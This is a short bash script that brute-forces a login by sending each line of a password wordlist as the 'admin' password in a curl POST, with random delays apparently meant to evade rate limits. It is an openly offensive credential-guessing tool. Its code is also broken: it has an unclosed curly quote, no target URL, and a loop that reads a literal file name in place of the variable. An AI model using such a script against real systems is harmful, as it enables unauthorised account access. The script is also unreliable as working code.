#!/bin/bash
passwords="wordlist.txt"
MAXWAIT=2
while IFS= read -r line
do
  curl -X POST --data “username=admin&password=$line >> output.txt
  sleep $((RANDOM % MAXWAIT))
done < passwords

